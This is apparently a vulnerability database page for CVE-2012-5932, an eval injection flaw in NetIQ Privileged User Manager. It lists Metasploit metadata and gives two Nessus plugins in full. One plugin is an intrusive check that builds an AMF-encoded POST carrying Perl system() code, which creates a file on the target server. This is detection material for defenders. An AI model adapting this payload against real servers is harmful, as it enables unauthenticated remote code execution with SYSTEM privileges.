Vulnerabilities > CVE-2012-5932 - Code Injection vulnerability in Microfocus Privileged User Manager 2.3.0/2.3.1

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
microfocus
CWE-94
nessus
metasploit

Summary

Eval injection vulnerability in the ldapagnt_eval function in ldapagnt.dll in unifid.exe in NetIQ Privileged User Manager 2.3.x before 2.3.1 HF2 allows remote attackers to execute arbitrary Perl code via a crafted application/x-amf request.

Vulnerable Configurations

Part Description Count
Application
Microfocus
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Metasploit

descriptionThis module abuses a lack of authorization in the NetIQ Privileged User Manager service (unifid.exe) to execute arbitrary perl code. The problem exists in the ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.
idMSF:EXPLOIT/WINDOWS/NOVELL/NETIQ_PUM_EVAL
last seen2020-06-01
modified2019-08-02
published2012-11-20
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5932
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/novell/netiq_pum_eval.rb
titleNetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution

Nessus

  • NASL familyCGI abuses
    NASL idNETIQ_PUM_COMMAND_EXEC1.NASL
    descriptionAccording to the self-reported version of the NetIQ Privileged User Manager
    last seen2020-06-01
    modified2020-06-02
    plugin id63185
    published2012-12-07
    reporterThis script is Copyright (C) 2012-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/63185
    titleNetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (version check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(63185);
      script_version("1.12");
      script_cvs_date("Date: 2018/11/15 20:50:18");
    
      script_cve_id("CVE-2012-5932");
      script_bugtraq_id(56539);
      script_xref(name:"EDB-ID", value:"22738");
    
      script_name(english:"NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (version check)");
      script_summary(english:"Checks the version of the 'ldapagnt' package.");
    
      script_set_attribute(
        attribute:"synopsis",
        value:
    "The remote host has a web application that is affected by a remote code
    execution vulnerability."
      );
      script_set_attribute(
        attribute:"description",
        value:
    "According to the self-reported version of the NetIQ Privileged User
    Manager 'ldapagnt' package installed on the remote host, the server
    contains a flaw that is triggered when an error occurs in the
    'ldapagnt_eval()' function when parsing requests.  An unauthenticated
    attacker could exploit this flaw to execute arbitrary code with SYSTEM
    privileges. 
    
    Note that Nessus did not check for the presence of a workaround."
      );
      script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7011385");
      script_set_attribute(attribute:"solution", value:"Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Novell NetIQ 2.3.1 RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"patch_publication_date",value:"2012/11/20");
      script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/07");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:netiq:privileged_user_manager");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2012-2018 Tenable Network Security, Inc.");
    
      script_dependencies("netiq_pum_detect.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_keys("www/netiq_pum");
      script_require_ports("Services/www", 80, 443);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    report = '';
    
    # app runs on port 443 by default, but can be configured to run on port 80
    port = get_http_port(default:80);
    
    appname = "NetIQ Privileged User Manager";
    kb_appname = "netiq_pum";
    
    install = get_install_from_kb(appname:kb_appname, port:port, exit_on_fail:TRUE);
    dir = install['dir'];
    
    component = 'Admin Interface Package';
    
    raw_version = install['ver'];
    version = install['ver'];
    
    hf_level = 0;
    
    if ('-' >< version)
    {
      item = eregmatch(pattern:"^([0-9.]+)-([0-9]+)$", string:version);
      if (isnull(item)) exit(1, 'Unable to extract hotfix information from version string.');
    
      hf_level = item[2];
      version = item[1];
    }
    
    if (
      ver_compare(ver:version, fix:"2.3.1", strict:FALSE) == -1 ||
      (version == "2.3.1" && hf_level < 1)
    )
    {
      report = '\n  URL               : ' + build_url(qs:dir, port:port) +
               '\n  Installed version : ' + version +
               '\n  Fixed version     : 2.3.1-2\n';
    } 
    # may have been patched, check individual package
    else if (version == "2.3.1" && hf_level == 1)
    {
      # check if individual packages has been updated
      pkg_version = get_kb_item_or_exit("www/" + port + "/" + kb_appname + "/packages/ldap_credential_agent");
      fix = "2.3.1.2";
    
      temp_arr = split(pkg_version, sep:'.' , keep:FALSE); 
      if (max_index(temp_arr) > 4 || max_index(temp_arr) < 3) exit(1, 'Version information is an unexpected length.\n');
      
      pkg_str_version = temp_arr[0] + '.' + temp_arr[1] + '.' + temp_arr[2];
      if (max_index(temp_arr) == 4) pkg_str_version += ('-' + temp_arr[3]);
    
      # for audit trail
      raw_version = pkg_str_version;
      component = 'LDAP Credential Agent Package';
    
      if (
        version =~ "^2\.3\." &&
        ver_compare(ver:pkg_version, fix:fix, strict:FALSE) == -1
      )
      {
          report = '\n  URL               : ' + build_url(qs:dir, port:port) + 
                   '\n  Installed version : ' + pkg_str_version +
                   '\n  Fixed version     : 2.3.1-2\n';
      }                                              
    }
    
    if (report != '')
    {    
      if (report_verbosity > 0) security_hole(port:port, extra:report);
      else security_hole(port);
      exit(0);
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname + ' (' + component + ')', build_url(qs:dir, port:port), raw_version);
    
  • NASL familyCGI abuses
    NASL idNETIQ_PUM_COMMAND_EXEC.NASL
    descriptionThe NetIQ Privileged User Manager install hosted on the remote web server contains a flaw that is triggered when an error occurs in the
    last seen2020-06-01
    modified2020-06-02
    plugin id62992
    published2012-11-21
    reporterThis script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/62992
    titleNetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(62992);
      script_version("1.17");
      script_cvs_date("Date: 2018/11/15 20:50:18");
    
      script_cve_id("CVE-2012-5932");
      script_bugtraq_id(56539);
      script_xref(name:"EDB-ID", value:"22738");
    
      script_name(english:"NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)");
      script_summary(english:"Tries to create a file on web server");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote host has a web application that is affected by a remote 
    code execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The NetIQ Privileged User Manager install hosted on the remote web
    server contains a flaw that is triggered when an error occurs in the
    'ldapagnt_eval()' function when parsing requests.  An unauthenticated
    attacker could exploit this flaw to execute arbitrary code with SYSTEM
    privileges. 
    
    Nessus was able to exploit this vulnerability via a specially crafted 
    POST request and create a remotely-accessible file on the web server.");
      script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7011385");
      script_set_attribute(attribute:"solution", value:"Apply NetIQ Privileged User Manager 2.3.1 HF2 (2.3.1-2) or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:X");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Novell NetIQ 2.3.1 RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
    
      script_set_attribute(attribute:"patch_publication_date",value:"2012/11/20");
      script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/21");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:netiq:privileged_user_manager");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("netiq_pum_detect.nasl");
      script_require_ports("Services/www", 80, 443);
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_keys("www/netiq_pum");
    
      exit(0);
    }
    
    include("audit.inc");
    include("byte_func.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    
    # app runs on port 443 by default, but can be configured to run on port 80
    port = get_http_port(default:443);
    
    appname = "NetIQ Privileged User Manager";
    kb_appname = "netiq_pum";
    
    install = get_install_from_kb(appname:kb_appname, port:port, exit_on_fail:TRUE);
    dir = install['dir'];
    
    svc_str = get_kb_item_or_exit("www/"+port+"/"+kb_appname+"/svc_str");
    
    filename = 'Nessus' + rand();
    # perl script that will be executed with SYSTEM privs
    code = 'system("echo Nessus was here - ' + SCRIPT_NAME + ' > ./service/local/admin/docs/' + filename + '");';
    
    identity = "nessus"; # can be anything
    
    # Try to execute perl script
    # AMF encoded data
    postdata =
      raw_string(0x00,0x00,0x00,0x00,0x00,0x01,
                 0x00,0x14) + # len
      "SPF.Util.callModuleA" + 
      raw_string(0x00,0x00,0x00,0x00,0x02,0x0a,0x0a,0x00,0x00,0x00,0x01,
                 0x03, # obj
                 0x00,0x03) + # len
      "pkt" +
      raw_string(0x03, # obj
                 0x00,0x06) + # len
      "method" +
      raw_string(0x02, # str
                 0x00,0x04) + # len
      "eval" +
      raw_string(0x00,0x06) + # len
      "module" +
      raw_string(0x02, # str
                 0x00,0x08) + # len
      "ldapagnt" +
      raw_string(0x00,0x04) + # len
      "Eval" +
      raw_string(0x03, # obj
                 0x00,0x07) + # len
      "content" + 
      raw_string(0x02) + # str
      mkword(strlen(code) + 4) +
      code +
      raw_string(0x0a,0x0a,0x0a,0x0a, # \n\n\n\n
                 0x00,0x00,0x09, # end obj
                 0x00,0x00,0x09, # end obj
                 0x00,0x03) + # len
      "uid" +
      raw_string(0x02) + # str
      mkword(strlen(identity)) + # len
      identity + 
      raw_string(0x00,0x00,0x09, # end obj
                 0x00,0x08) + # len
      "svc_name" +
      raw_string(0x02) + # str
      mkword(strlen(svc_str)) + # len
      svc_str +
      raw_string(0x00,0x00,0x09); # end obj
    
    res = http_send_recv3(
      method:'POST',
      item:dir + '/',
      port:port,
      add_headers:make_array(
        'Content-Type', 'application/x-amf', # required
        'x-flash-version', '11,4,402,278'
      ),
     data:postdata, 
      exit_on_fail:TRUE
    );
    
    # give file time to create...
    sleep(2);
    
    # check if file exist
    res = http_send_recv3(
      method:'GET',
      item:dir + '/' + filename,
      port:port,
      exit_on_fail:TRUE
    );
    
    if ('Nessus was here' >< res[2])
    {
      report = '\nNessus was able to create the following file on the server : \n\n' +
               '  ' + build_url(qs:dir + '/' + filename, port:port) + '\n';
      security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);
      exit(0);
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(qs:dir, port:port));